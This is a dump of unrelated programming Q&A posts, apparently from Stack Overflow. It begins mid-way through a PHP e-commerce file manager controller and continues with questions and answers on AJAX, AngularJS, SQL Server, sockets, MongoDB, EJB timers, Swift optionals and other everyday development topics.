= ''; if (isset($this-&gt;request-&gt;get['directory'])) { $pos = strrpos($this-&gt;request-&gt;get['directory'], '/'); if ($pos) { $url .= '&amp;directory=' . urlencode(substr($this-&gt;request-&gt;get['directory'], 0, $pos)); } } if (isset($this-&gt;request-&gt;get['target'])) { $url .= '&amp;target=' . $this-&gt;request-&gt;get['target']; } if (isset($this-&gt;request-&gt;get['thumb'])) { $url .= '&amp;thumb=' . $this-&gt;request-&gt;get['thumb']; } $data['parent'] = $this-&gt;url-&gt;link('common/filemanager', 'token=' . $this-&gt;session-&gt;data['token'] . $url, true); // Refresh $url = ''; if (isset($this-&gt;request-&gt;get['directory'])) { $url .= '&amp;directory=' . urlencode($this-&gt;request-&gt;get['directory']); } if (isset($this-&gt;request-&gt;get['target'])) { $url .= '&amp;target=' . $this-&gt;request-&gt;get['target']; } if (isset($this-&gt;request-&gt;get['thumb'])) { $url .= '&amp;thumb=' . $this-&gt;request-&gt;get['thumb']; } $data['refresh'] = $this-&gt;url-&gt;link('common/filemanager', 'token=' . $this-&gt;session-&gt;data['token'] . $url, true); $url = ''; if (isset($this-&gt;request-&gt;get['directory'])) { $url .= '&amp;directory=' . urlencode(html_entity_decode($this-&gt;request-&gt;get['directory'], ENT_QUOTES, 'UTF-8')); } if (isset($this-&gt;request-&gt;get['filter_name'])) { $url .= '&amp;filter_name=' . urlencode(html_entity_decode($this-&gt;request-&gt;get['filter_name'], ENT_QUOTES, 'UTF-8')); } if (isset($this-&gt;request-&gt;get['target'])) { $url .= '&amp;target=' . $this-&gt;request-&gt;get['target']; } if (isset($this-&gt;request-&gt;get['thumb'])) { $url .= '&amp;thumb=' . $this-&gt;request-&gt;get['thumb']; } $pagination = new Pagination(); $pagination-&gt;total = $image_total; $pagination-&gt;page = $page; $pagination-&gt;limit = 16; $pagination-&gt;url = $this-&gt;url-&gt;link('common/filemanager', 'token=' . $this-&gt;session-&gt;data['token'] . $url . '&amp;page={page}', true); $data['pagination'] = $pagination-&gt;render(); $this-&gt;response-&gt;setOutput($this-&gt;load-&gt;view('common/filemanager', $data)); } public function upload() { $this-&gt;load-&gt;language('common/filemanager'); $json = array(); // Check user has permission if (!$this-&gt;user-&gt;hasPermission('modify', 'common/filemanager')) { $json['error'] = $this-&gt;language-&gt;get('error_permission'); } // Make sure we have the correct directory if (isset($this-&gt;request-&gt;get['directory'])) { $directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this-&gt;request-&gt;get['directory']), '/'); } else { $directory = DIR_IMAGE . 'catalog'; } // Check its a directory if (!is_dir($directory)) { $json['error'] = $this-&gt;language-&gt;get('error_directory'); } if (!$json) { if (!empty($this-&gt;request-&gt;files['file']['name']) &amp;&amp; is_file($this-&gt;request-&gt;files['file']['tmp_name'])) { // Sanitize the filename $filename = basename(html_entity_decode($this-&gt;request-&gt;files['file']['name'], ENT_QUOTES, 'UTF-8')); // Validate the filename length if ((utf8_strlen($filename) &lt; 3) || (utf8_strlen($filename) &gt; 255)) { $json['error'] = $this-&gt;language-&gt;get('error_filename'); } // Allowed file extension types $allowed = array( 'jpg', 'jpeg', 'gif', 'png' ); if (!in_array(utf8_strtolower(utf8_substr(strrchr($filename, '.'), 1)), $allowed)) { $json['error'] = $this-&gt;language-&gt;get('error_filetype'); } // Allowed file mime types $allowed = array( 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png', 'image/gif' ); if (!in_array($this-&gt;request-&gt;files['file']['type'], $allowed)) { $json['error'] = $this-&gt;language-&gt;get('error_filetype'); } // Return any upload error if ($this-&gt;request-&gt;files['file']['error'] != UPLOAD_ERR_OK) { $json['error'] = $this-&gt;language-&gt;get('error_upload_' . $this-&gt;request-&gt;files['file']['error']); } } else { $json['error'] = $this-&gt;language-&gt;get('error_upload'); } } if (!$json) { move_uploaded_file($this-&gt;request-&gt;files['file']['tmp_name'], $directory . '/' . $filename); $json['success'] = $this-&gt;language-&gt;get('text_uploaded'); } $this-&gt;response-&gt;addHeader('Content-Type: application/json'); $this-&gt;response-&gt;setOutput(json_encode($json)); } public function folder() { $this-&gt;load-&gt;language('common/filemanager'); $json = array(); // Check user has permission if (!$this-&gt;user-&gt;hasPermission('modify', 'common/filemanager')) { $json['error'] = $this-&gt;language-&gt;get('error_permission'); } // Make sure we have the correct directory if (isset($this-&gt;request-&gt;get['directory'])) { $directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this-&gt;request-&gt;get['directory']), '/'); } else { $directory = DIR_IMAGE . 'catalog'; } // Check its a directory if (!is_dir($directory)) { $json['error'] = $this-&gt;language-&gt;get('error_directory'); } if (!$json) { // Sanitize the folder name $folder = str_replace(array('../', '..\\', '..'), '', basename(html_entity_decode($this-&gt;request-&gt;post['folder'], ENT_QUOTES, 'UTF-8'))); // Validate the filename length if ((utf8_strlen($folder) &lt; 3) || (utf8_strlen($folder) &gt; 128)) { $json['error'] = $this-&gt;language-&gt;get('error_folder'); } // Check if directory already exists or not if (is_dir($directory . '/' . $folder)) { $json['error'] = $this-&gt;language-&gt;get('error_exists'); } } if (!$json) { mkdir($directory . '/' . $folder, 0777); chmod($directory . '/' . $folder, 0777); $json['success'] = $this-&gt;language-&gt;get('text_directory'); } $this-&gt;response-&gt;addHeader('Content-Type: application/json'); $this-&gt;response-&gt;setOutput(json_encode($json)); } public function delete() { $this-&gt;load-&gt;language('common/filemanager'); $json = array(); // Check user has permission if (!$this-&gt;user-&gt;hasPermission('modify', 'common/filemanager')) { $json['error'] = $this-&gt;language-&gt;get('error_permission'); } if (isset($this-&gt;request-&gt;post['path'])) { $paths = $this-&gt;request-&gt;post['path']; } else { $paths = array(); } // Loop through each path to run validations foreach ($paths as $path) { $path = rtrim(DIR_IMAGE . str_replace(array('../', '..\\', '..'), '', $path), '/'); // Check path exsists if ($path == DIR_IMAGE . 'catalog') { $json['error'] = $this-&gt;language-&gt;get('error_delete'); break; } } if (!$json) { // Loop through each path foreach ($paths as $path) { $path = rtrim(DIR_IMAGE . str_replace(array('../', '..\\', '..'), '', $path), '/'); // If path is just a file delete it if (is_file($path)) { unlink($path); // If path is a directory beging deleting each file and sub folder } elseif (is_dir($path)) { $files = array(); // Make path into an array $path = array($path . '*'); // While the path array is still populated keep looping through while (count($path) != 0) { $next = array_shift($path); foreach (glob($next) as $file) { // If directory add to path array if (is_dir($file)) { $path[] = $file . '/*'; } // Add the file to the files to be deleted array $files[] = $file; } } // Reverse sort the file array rsort($files); foreach ($files as $file) { // If file just delete if (is_file($file)) { unlink($file); // If directory use the remove directory function } elseif (is_dir($file)) { rmdir($file); } } } } $json['success'] = $this-&gt;language-&gt;get('text_delete'); } $this-&gt;response-&gt;addHeader('Content-Type: application/json'); $this-&gt;response-&gt;setOutput(json_encode($json)); } }</code></pre> </div> </div> </p>
26273376	0	 <p>You need to change window.location in a success callback since it may happen before the asynchronous POST request is finished.</p> <pre><code>$.ajax({ type: "POST", url: "/mobile.php", data: {values:"mobile"} success: function(){ window.location = "http://dekstopversionexample.lt"; } }); </code></pre>
27377344	0	ui-select angularjs bootstrap undefined is not a function error <p>I'm having some issues trying to work with the ui-select library. I'm trying to use the select dropdown features but it doesn't work properly.</p> <p>This is the library used: <a href="https://github.com/angular-ui/ui-select" rel="nofollow">https://github.com/angular-ui/ui-select</a></p> <p>Here's my html code:</p> <pre><code>&lt;h3&gt;Array of strings&lt;/h3&gt; &lt;ui-select multiple ng-model="selCountry.selLoc" theme="/resources/ui-select/bootstrap" ng-disabled="disabled" style="width: 300px;"&gt; &lt;ui-select-match placeholder="Select locations..."&gt;{{$selCountry.selLoc}}&lt;/ui-select-match&gt; &lt;ui-select-choices repeat="loc in selCountry.locations| filter:$select.search"&gt; {{loc}} &lt;/ui-select-choices&gt; &lt;/ui-select&gt; </code></pre> <p>The error it troughs is : undefined is not a function and it troughs this erro when I click on the ui-selext box.</p> <pre><code>TypeError: undefined is not a function at link (http://localhost:8090/resources/ui-select/select.js:1202:11) at H (http://localhost:8090/resources/js/angular-1.2.12.min.js:49:375) at f (http://localhost:8090/resources/js/angular-1.2.12.min.js:42:399) at H (http://localhost:8090/resources/js/angular-1.2.12.min.js:49:316) at f (http://localhost:8090/resources/js/angular-1.2.12.min.js:42:399) at http://localhost:8090/resources/js/angular-1.2.12.min.js:42:67 at http://localhost:8090/resources/js/angular-1.2.12.min.js:43:303 at A (http://localhost:8090/resources/js/angular-1.2.12.min.js:47:46) </code></pre> <p>Any advice on what could be the problem? </p> <p>Thank you</p> <p>PS</p> <p>When I click on the select.js error link it takes me to the following piece of code.</p> <pre><code> // Recreates old behavior of ng-transclude. Used internally. .directive('uisTranscludeAppend', function () { return { link: function (scope, element, attrs, ctrl, transclude) { transclude(scope, function (clone) { element.append(clone); }); } }; }) </code></pre> <p>Not sure what is causing that problem as the code is very similar to what the example code is.</p>
3191551	0	SQL Create table script from DBMS contains [ ] <p>If some one does right click on a given Table in a Database using SQL Server management Studio from Microsoft and create script table to query window, it displays the create table code in the window. I notice something like the following</p> <p>CREATE TABLE [dbo].[Login]( <br> [UserId] [int] NOT NULL,<br> [LoginName] nvarchar COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL, <br> etc <br> )<br></p> <p>Is this how it appears in other DBMS too ? <br> Is this something specific to DBMS used ? <br> Is it just a fancy view only ?</p> <p>Why are "<b>[ ]</b>" used around column names and table names. Simple TSQL definition would look something like <br> CREATE TABLE table_name ( <br> Column#1 Datatype NOT NULL, <br> Column#2 Datatype NOT NULL UNIQUE, <br> -- etc... <br> ) <br></p> <p>Please dont mind my silly questions.</p> <p>Thanks in advance,<br> Balaji S</p>
10288141	0	 <p>Well infinite data is theoretically possible while the practical implementation differ from process to process. </p> <ul> <li>Approach 1 - Generally many protocol do send size in the first few bytes ( 4 bytes ) and you can have a while loop </li> </ul> <p>{</p> <pre><code>int i = 0, ret = 1; unsigned char buffer[4]; while ( i&lt;4 &amp;&amp; ret == 0) socket.receive(buffer + i, 1 , ret); // have a while loop to read the amount of data you need. Malloc the buffer accordingly </code></pre> <p>}</p> <ul> <li>Approach 2 - Or in your case where you don't know the lenght ( infinite )</li> </ul> <p>{</p> <pre><code>char *buffer = (char *)malloc(TCP_MAX_BUF_SIZE); std::size_t total = 0, received = 0; while ( total &lt; TCP_MAX_BUF_SIZE &amp;&amp; return &gt;= 0) { socket.receive(buffer, sizeof(buffer), received); total += received; } //do something with your data </code></pre> <p>}</p> <p>You will have to break at somepoint and process your data Dispatch it to another thread of release the memory.</p>
18623731	0	 <blockquote> <p>So my question is how can i set the response object to contain the processed list of the images</p> </blockquote> <p>Use a stylesheet rather than an XPath selector:</p> <pre><code> select * from xslt where url="http://www.mysite.com/page-path" and stylesheet="http://www.mysite.com/page-path.xsl" </code></pre> <p>Define the stylesheet as such:</p> <pre><code> &lt;xsl:template match="img[@alt]"&gt; &lt;xsl:for-each select="@alt"&gt; &lt;script&gt; alt.push(&lt;xsl:value-of select="."/&gt;); &lt;/script&gt; &lt;/xsl:for-each&gt; &lt;/xsl:template&gt; &lt;xsl:template match="img[not(@alt)]"&gt; &lt;xsl:for-each select="@src"&gt; &lt;script&gt; noalt.push(&lt;xsl:value-of select="."/&gt;); &lt;/script&gt; &lt;/xsl:for-each&gt; &lt;/xsl:template&gt; </code></pre>
21724486	0	Remove all numbers in brackets with the brackets from string <p>Trying to remove city code from string for my additional I have wrote the brackets removal with indexOf. how to do this with regex?</p> <p>Mr Smith (344) 455 66 44</p> <p>to </p> <p>Mr Smith 455 66 44</p>
10888707	0	 <p>System.Data.Entity.dll is not bin deployable. If you have .NET Framework 4 installed on the target machine you should have this assembly. It should be in the GAC. When loading assemblies CLR first looks in GAC and ignores whatever you have in your bin directory. If you don't have the .NET Framework 4 on the target machine your program will not work - System.Data.Entity.dll is part of .NET Framework and depends on .NET Framework (in this case .NET Framework 4). Try removing and readding reference to System.Data.Entity.dll to clear all the changes you made in the project to copy it and then deploy your program to the target machine.</p>
21670606	0	MongoDB C driver does not return any results for aggregation query <p>I have following SQL query:</p> <p>SELECT SUM("PAYMENT_HISTORY"."AMOUNT_PAID") FROM "PAYMENT_HISTORY" WHERE (("PAYMENT_HISTORY".YEAR >= 2011) AND ("PAYMENT_HISTORY".YEAR &lt;= 2013) AND ("PAYMENT_HISTORY"."AMOUNT_PAID" >= 500.0))</p> <p>same SQL after conversion was ran from MongoDB shell and it returns value.</p> <p>db.PAYMENT_HISTORY.aggregate( { $match : {$and: [{YEAR: {$gte : 2011}}, {YEAR: {$lte : 2013}}, {AMOUNT_PAID: {$gte: 500.00}}]}}, { $group : {_id : "POLICY_ID", total:{$sum : "$AMOUNT_PAID"}}} )</p> <p>While i am trying to run through MongoDB C driver, it doesn't return any results.</p> <pre><code>int status = mongo_client( mNoSQLConnection, "127.0.0.1", 27017 ); if (status != MONGO_OK){ switch (mNoSQLConnection-&gt;err) { case MONGO_CONN_NO_SOCKET: printf( "no socket\n" ); case MONGO_CONN_FAIL: printf( "connection failed\n" ); case MONGO_CONN_NOT_MASTER: printf( "not master\n" ); } } else{ bson query[1], b_result[1]; mongo_cursor cursor[1]; bson_init( query ); bson_append_string(query, "aggregate", "PAYMENT_HISTORY"); bson_append_start_object(query, "$match"); bson_append_start_array(query, "$and"); bson_append_start_object(query, "$gte"); bson_append_int(query, "YEAR", 2011); bson_append_finish_object(query); bson_append_start_object(query, "$lte"); bson_append_int(query, "YEAR", 2013); bson_append_finish_object(query); bson_append_start_object(query, "$gte"); bson_append_double(query, "AMOUNT_PAID", 500.00); bson_append_finish_object(query); bson_append_finish_array(query); bson_append_finish_object(query); bson_append_start_object(query, "$group"); bson_append_string(query, "_id", "POLICY_ID"); bson_append_string(query, "total", "total"); bson_append_start_object(query, "$sum"); bson_append_start_object(query, "$AMOUNT_PAID"); bson_append_finish_object(query); bson_append_finish_object(query); bson_append_finish_object(query); bson_finish( query ); bson_print(query); int status1; status1 = mongo_run_command(mNoSQLConnection, "DB_NAME", query, b_result); if (MONGO_OK != status1 ) { } else { /*command results*/ bson_print(b_result); } bson_destroy( query ); mongo_cursor_destroy( cursor ); } </code></pre> <p>Can somebody help me in figuring out mistake/s in above code?</p> <p>Thanks</p>
36581419	0	deleting particular rows takes longer time to execute oracle. have to kill the session <p>I have 3 tables Attribute_type, Attribute, Attribute_assignment which is referencing one another. Attribute has Attribute_id + Attribute_type_id, Attribute_assignment has Assignment_id + Attribute_id + Attribute_type_id</p> <p>There are some stale data in Attribute_assignment, whose parents are deleted and its dangling. So i tried to delete those rows. Few got deleted very easily , but last 4 rows are not getting deleted at all. It just takes long time. Because of this I am not able to add constraints as well. </p> <p>Please suggest.</p>
23129870	0	How do I clean input buffer before using getch()? <p>So, I am using GetAsyncKeyState() to see when some key is pressed. But, after using it I need to use getch(). But it seems that getch() gets whatever GetAsyncKeyState() got before again. That is the version of my simplified code:</p> <pre><code>#include &lt;graphics.h&gt; int main() { initwindow(100, 100); while(true) { if (GetAsyncKeyState(VK_RETURN)) //wait for user to press "Enter" break; //do other stuff } getch(); //this is just skipped return 0; } </code></pre> <p>I think I need to clean the input buffer before using getch(). But how? PS: GetAsyncKeyState() is a must-use for me and I have not found any substitute for getch(), which could work with BGI window and which would fix the problem. Hoping for some advice and thank you.</p>
37175215	0	Error when trying to create a Timer in EJB <p>I'm having a problem with a timer in <strong>EJB</strong>.I don't have experience whit this type application, so I don't know What to do for resolve this problem.</p> <p>timer cod:</p> <pre><code> @Schedule(minute="*/2", second="0", dayOfMonth="*", month="*", year="*", hour="6-23", dayOfWeek="*", persistent = false) public void cargaC() { ....} @Schedule(minute="10", second="0", dayOfMonth="*", month="*", year="*", hour="1", dayOfWeek="*", persistent = false) public void limpaTabelaC(){ ....} </code></pre> <p>error: </p> <pre><code> 18:56:10,103 INFO [org.jboss.as.ejb3] (EJB default - 4) JBAS014121: Timer: [id=c7a5c2c9-2b6c-49d8-956a-f831ebab53c3 timedObjectId=PrjX_V2.PrjX_V2.CargaDados auto-timer?:true persistent?:false timerService=org.jboss.as.ejb3.timerservice.TimerServiceImpl@35d07654 initialExpiration=Wed May 11 06:00:00 BRT 2016 intervalDuration(in milli sec)=0 nextExpiration=Wed May 11 18:58:00 BRT 2016 timerState=IN_TIMEOUT will be retried 18:56:10,103 INFO [org.jboss.as.ejb3] (EJB default - 4) JBAS014123: Retrying timeout for timer: [id=c7a5c2c9-2b6c-49d8-956a-f831ebab53c3 timedObjectId=PrjX_V2.PrjX_V2.CargaDados auto-timer?:true persistent?:false timerService=org.jboss.as.ejb3.timerservice.TimerServiceImpl@35d07654 initialExpiration=Wed May 11 06:00:00 BRT 2016 intervalDuration(in milli sec)=0 nextExpiration=Wed May 11 18:58:00 BRT 2016 timerState=IN_TIMEOUT 18:56:14,813 ERROR [org.jboss.as.ejb3] (EJB default - 4) JBAS014122: Error during retrying timeout for timer: [id=c7a5c2c9-2b6c-49d8-956a-f831ebab53c3 timedObjectId=PrjX_V2.PrjX_V2.CargaDados auto-timer?:true persistent?:false timerService=org.jboss.as.ejb3.timerservice.TimerServiceImpl@35d07654 initialExpiration=Wed May 11 06:00:00 BRT 2016 intervalDuration(in milli sec)=0 nextExpiration=Wed May 11 18:58:00 BRT 2016 timerState=RETRY_TIMEOUT: javax.ejb.EJBException: Unexpected Error </code></pre> <p>someone can help me?</p>
3830858	0	 <p>I think you're confusing the properties which pluck() works on with HTML attributes. It's anyway easier to add the pseudo class of checked as part of the initial selector, like:</p> <pre><code>$$('li.litemd input:checked').each(function(s) { alert(s.next().innerHTML); }); </code></pre> <p><a href="http://jsfiddle.net/tXXwD/1/" rel="nofollow">Example</a></p>
33846868	0	 <p>You can use <a href="https://github.com/prasmussen/chrome-cli" rel="nofollow">chrome-cli</a> for this case.</p>
13398665	0	Assigning variable names to an output graph in R <p>I am a new user of R statistics. I am having a huge <code>for</code> loop, of multiple massive files, the loop ends up giving me the result of a graph.</p> <p>Everything is working fine, except with the output file names. what do I want exactly to do? </p> <p>I am using </p> <pre><code>data1 &lt;- read.csv("filepath/filename", header=TRUE, sep=",") data2 &lt;- read.csv("filepath/filename", header=TRUE, sep=",") data3 &lt;- read.csv("filepath/filename", header=TRUE, sep=",") </code></pre> <p>and so on... to read my files.</p> <p>I want the output graph file name to contain the name of the data files and columns from which it was generated. For example:</p> <pre><code>graph1-data1-data3-columnE.pdf </code></pre> <p><strong>Important note:</strong> all the files I am reading have exactly the same column names and number.</p> <p>What command should I use to do this?</p>
7794	0	 <p>How about:</p> <pre><code>protected override void OnPreviewTextInput(System.Windows.Input.TextCompositionEventArgs e) { e.Handled = !AreAllValidNumericChars(e.Text); base.OnPreviewTextInput(e); } private bool AreAllValidNumericChars(string str) { foreach(char c in str) { if(!Char.IsNumber(c)) return false; } return true; } </code></pre>
2872166	0	 <p>Alternativaly you could try the standard actions <a href="http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/delphivclwin32/StdActns_TSearchFind.html" rel="nofollow noreferrer">TSearchFind</a>/<a href="http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/delphivclwin32/StdActns_TSearchFindNext.html" rel="nofollow noreferrer">TSearchFindNext</a>. However I haven't tried them myself, so I can't say how well they work in practice.</p>
2872920	0	 <p>Full disclosure: I am a developer on the Visual Studio Profiler Team.</p> <p>Visual Studio Test Edition does not have a profiler, but the following editions do:</p> <ul> <li>Visual Studio 2005 Development Edition, Team Suite</li> <li>Visual Studio 2008 Development Edition, Team Suite</li> <li>Visual Studio 2010 Premium, Ultimate</li> </ul> <p>Currently, the VS Profiler is not capable of profiling across machines, but a new feature was introduced in VS2010: Tier Interaction Profiling. Essentially, it will show you timing data for any ADO.NET database calls you make.</p> <p>Additional resources:</p> <ul> <li><a href="http://blogs.msdn.com/habibh/archive/2009/06/30/walkthrough-using-the-tier-interaction-profiler-in-visual-studio-team-system-2010.aspx" rel="nofollow noreferrer">Walkthrough: Using the Tier Interaction Profiler in Visual Studio Team System 2010</a></li> <li><a href="http://blogs.msdn.com/profiler/archive/2009/12/28/multi-tier-performance-analysis.aspx" rel="nofollow noreferrer">Multi-Tier Performance Analysis</a></li> </ul>
23986330	0	 <p><strong>Quick answer</strong> - both operating systems have features for safely unmounting the drive. An unmounted drive can be snapshotted without fear of corruption.</p> <p><strong>Long answer</strong> An EBS snapshot is point-in-time and differential (it does not "copy" your data per-se), so as long as your drive is in a consistent and restorable state when it begins, you'll avoid the corruption (since the snapshot is atomic).</p> <p>As you have implied, whatever state the whole drive is in when it starts, that's what your snapshot image will be when it is restored (if you snapshot while you are half-way done writing a file, then, by-golly, that file will be half-written when you restore).</p> <p>For both Linux and Windows, a consistent state can be this can be acheived by unmounting the drive. This will guarantee that your buffers are flushed to disk and no writes can occur. In both linux and windows there are commands to list which processes are using the drive; once you have stopped those processes or otherwise gotten them to stop marking the drive for use (different for each program/service), you can unmount. In windows, this is very easy by setting your drive as a "removable drive" and then using the "safely remove hardware" feature to unmount. In linux, you can unmount with the "umount" command.</p> <p>There are other sneakier ways, but the above is pretty universal.</p> <p>So assuming you get to a restorable state before you begin, you can resume using your drive as soon as the snapshot starts (you do not need to wait for the snapshot completes before you unlock (or remount) and resume use). At that point you can remount the volume.</p> <p><strong>How AWS snapshot works:</strong></p> <p>Your volume and the snapshot is just a set of pointers, when you take a snapshot, you just diverge any blocks that you write to from that point forward; they are effectively new blocks associated with the volume, and the old blocks at that logical place in the volume are left alone so that the snapshot stays the same logically.</p> <p>This is also why subsequent snapshots will tend to go faster (they are differential).</p> <p><a href="http://harish11g.blogspot.com/2013/04/understanding-Amazon-Elastic-block-store-EBS-snapshots.html" rel="nofollow">http://harish11g.blogspot.com/2013/04/understanding-Amazon-Elastic-block-store-EBS-snapshots.html</a></p>
24392492	0	VMWare vs Azure virtual machines <p>I searched the internet but couldnt find an answer. I know that VMWare gives you a true full virtual machine with a assigned NIC card where Azure virtual machine which is connected through Remote Desktop does not do full virtual. Is full virtual the correct terminology used to describe this or am I wrong?</p> <p>The reason this came up is because I have both environments to play with at work and have multiple customers with different vpn setup. I've noticed that if split tunneling disabled, I cannot use Azure virtual machine and would have to setup on VMWare unless I use something like TeamViewer to connect into the Azure virtual machine.</p> <p>One of my customer (customer A), blocks all traffic after the VPN is established. This includes RDP and HTTP, the only way for this to work is to install a virtual machine on VMware and use vSphere to connect in. </p> <p>My last question, is it possible to get this one customer A working on Azure? My management team wants the IT shop to be all Microsoft so that means they dont want to use VMware anymore. I've tried using TeamViewer but after connecting to VPN (Cisco Anyconect) the connection to TeamViewer gets disconnected because it runs on 80 HTTP and 443 HTTPS. Any work around on Azure that anyone would like to share? Thanks!</p>
32701824	0	Swift: Comparing Implicitly Unwrapped Optionals results in "unexpectedly found nil while unwrapping an Optional values" <p>If got this class and would like to compare instances of it based on the value </p> <pre><code>class LocationOption: NSObject { var name:String! var radius:Int! var value:String! override func isEqual(object: AnyObject?) -&gt; Bool { if let otherOption = object as? LocationOption { return (self.name == otherOption.name) &amp;&amp; (self.radius == otherOption.radius) &amp;&amp; (self.value == otherOption.value) } return false } } </code></pre> <p>When executing this: </p> <pre><code>var a = LocationOption() var b = LocationOption() a.name = "test" b.name = "test" if a == b { // Crashes here!! print("a and b are the same"); } </code></pre> <p>This crashes with "unexpectedly found nil while unwrapping an Optional value"? You can copy all this into a Playground to reproduce.</p> <p>It seems to be due to the <code>Implicitly Unwrapped Optionals</code>. If I declare all fields as Optionals it works as expected.</p> <p>But in my case, I would like to have these properties as <code>Implicitly Unwrapped Optionals</code>. How should I write the isEqual?</p> <p>===</p> <p>UPDATE: @matt is right and as I didn't want to change to "regular" Optionals I ended up with this:</p> <pre><code>class LocationOption: Equatable { var name:String! var requireGps:Bool! var radius:Int! var value:String! } func ==(lhs: LocationOption, rhs: LocationOption) -&gt; Bool { let ln:String? = lhs.name as String?, rn = rhs.name as String? let lr = lhs.radius as Int?, rr = rhs.radius as Int? return ln == rn &amp;&amp; lr == rr } </code></pre>
27847647	0	 <p>use a normalize.css to avoid this issue, if not set none style to an element, he inherit the user agent style.</p> <p><a href="http://necolas.github.io/normalize.css/" rel="nofollow">http://necolas.github.io/normalize.css/</a></p>
18443350	0	 <p>The denormalization is in the dimension tables in a star schema: E. g. in a product table, you explicitly have many columns like several levels of product category in this one table, instead of having one table for each level, and using foreign keys referencing those values.</p> <p>This means you have normalization with regard to facts, but stop normalizing on the dimension tables.</p> <p>Furthermore, you often do not even completely denormalize the facts. A typical example would be this: in a completely normalized table, you would use only two columns 'number of units sold' and 'price per unit', but in an OLAP database, it may make sense to redundantly have another column for the 'sales value' which could easily be calculated by multiplying units sold and the price per unit.</p>
3109912	0	 <p>The "correct" way according to the Java EE architecture would be to have a JCA connector to do inbound/outbound connection with the SMTP server. </p> <p>The JCA connector can do whatever you want, including threading and connection to external systems with sockets. Actually JMS is just a special kind of JCA connector that connects to JMS broker and delivers message to "regular" MDB. A JCA connector can then poll the SMTP server and delivers the message to a custom MDB. </p> <p>The best document about JCA is <a href="http://developers.sun.com/appserver/reference/techart/resource_adapters.pdf" rel="nofollow noreferrer">Creating Resource Adapters with J2EE Connector Architecture 1.5</a>, and it does actually use the example of email delivery. Luck you :) I suggest you have a look at it. The code can be found as part of the Java EE samples and uses JavaMail, but I don't know if it's production ready. </p> <p>Related: </p> <ul> <li><a href="http://stackoverflow.com/questions/2998926/new-to-jee-architecture-suggestions-for-a-service-daemon">Java EE architecture suggestions for a service/daemon?</a></li> <li><a href="http://stackoverflow.com/questions/2154490/an-ear-jee-application-which-listen-to-a-socket-request">Java EE application which listen to a socket request.</a></li> </ul>
23469361	0	 <p>The issue is created by the logo image. Images are inline elements so they have a white-space after them. To remove the white-space, you can display the image as a block element by adding this CSS :</p> <pre><code>header &gt; img{ display: block; } </code></pre>
10548375	0	Call to function 'CFURLCreateStringByAddingPercentEscapes' returns a Core Foundation object with a +1 retain count <p>I am converting my project to ARC and Xcode thinks there is a memory leak here, does anyone see anything wrong with this? I didn't write this code so I am not familiar with C calls.</p> <pre><code>- (NSString*) URLEscaped { NSString *encodedString = (NSString *)CFURLCreateStringByAddingPercentEscapes( NULL, (CFStringRef)self, NULL, (CFStringRef)@"!*'();:@&amp;=+$,/?%#[]", kCFStringEncodingUTF8); return encodedString; } </code></pre>
13001227	0	 <p>You got the parameters in the wrong order (from the <a href="http://docs.oracle.com/javase/1.4.2/docs/api/java/util/regex/Pattern.html#matches%28java.lang.String,%20java.lang.CharSequence%29">documentation</a>)</p> <pre><code>Pattern.matches(String regex, CharSequence input) </code></pre>
9128382	0	 <p>You can do this in <a href="http://noda-time.googlecode.com">Noda Time</a> fairly easily:</p> <pre><code>using System; using NodaTime; class Test { static void Main() { ShowAge(1988, 9, 6); ShowAge(1991, 3, 31); ShowAge(1991, 2, 25); } private static readonly PeriodType YearMonth = PeriodType.YearMonthDay.WithDaysRemoved(); static void ShowAge(int year, int month, int day) { var birthday = new LocalDate(year, month, day); // For consistency for future readers :) var today = new LocalDate(2012, 2, 3); Period period = Period.Between(birthday, today, YearMonth); Console.WriteLine("Birthday: {0}; Age: {1} years, {2} months", birthday, period.Years, period.Months); } } </code></pre> <p>Doing it with <em>just</em> .NET's <code>DateTime</code> support would be possible, but you'd have to do the arithmetic yourself, basically. And it almost certainly wouldn't be as clear. Not that I'm biased or anything :)</p>
38012493	0	 <p>Try this editablegrid framework <a href="http://www.editablegrid.net/en/" rel="nofollow">http://www.editablegrid.net/en/</a></p>
39571599	0	 <p>It looks like you want to identify if some places belong to specific chains or franchises.</p> <p>This is not possible in Places API, other than by detecting <em>likely</em> relation to chains based on the <code>"name"</code> and <code>"website"</code> fields. But if you'd like to reliable detect this kind of relation, consider <a href="http://code.google.com/p/gmaps-api-issues/issues/entry?template=Places%20API%20-%20Feature%20Request" rel="nofollow">filing a feature request for Places API</a> (I couldn't find one).</p>
5453814	0	Making part of the regex optional <p>Here is my regex:</p> <pre><code>/On.* \d{1,2}\/\d{1,2}\/\d{1,4} \d{1,2}:\d{1,2} (?:AM|PM),.*wrote:/ </code></pre> <p>to match:</p> <pre><code>On 3/14/11 2:55 PM, XXXXX XXXXXX wrote: </code></pre> <p>I need this Regex to also match:</p> <pre><code>On 25/03/2011, at 2:19 AM, XXXXX XXXXXXXX wrote: </code></pre> <p>So I tried this:</p> <pre><code>/On.* \d{1,2}\/\d{1,2}\/\d{1,4}(, at)? \d{1,2}:\d{1,2} (?:AM|PM),.*wrote:/ </code></pre> <p>But that breaks the other matches</p> <p>Am I making the (, at)? optional set right?</p> <p>Thanks</p>
5976853	0	how can I know if user is logged in <p>Im using simple mechanizm in which after login in my database there is new row inserted with userId and expiresDate columns. Everything would be ok but how can I know if user leaves website, closes browser and so on ?</p> <p>Secondly how can I make his sessionlonger if he is viewing different pages on the site. Should I all the time make updates on the database ?</p> <p>what are common aptterns ?</p> <p>It is im,portant for me because on the liveChat I need to know which users are online so that client can chat with them</p>
23034970	0	How to calculate False Accept and Reject Rates in pattern recognition <p>I am working on a vein pattern recognition project based on SURF algorithm and euclidean distance. I have completed my program to find the maximum and minimum distance between vein features and find a match exactly when there is an identical image. i.e max and min distance between two images is zero. In this case, how would I find my FAR and FRR. Will it be 0% or am I missing a big concept here?</p> <p>Even if there is a slight variation it wouldn't match in which case, I guess I need to have a threshold value to compare to. I have calculate the max and min distance between all combination of images with the same hand, with different hands. In this case, how do I computer the FAR and FRR. This is my first biometrics project and it would be helpful if I am directed to any resource that would help me in this. Thank you.</p> <p>Kindly help me out.</p>
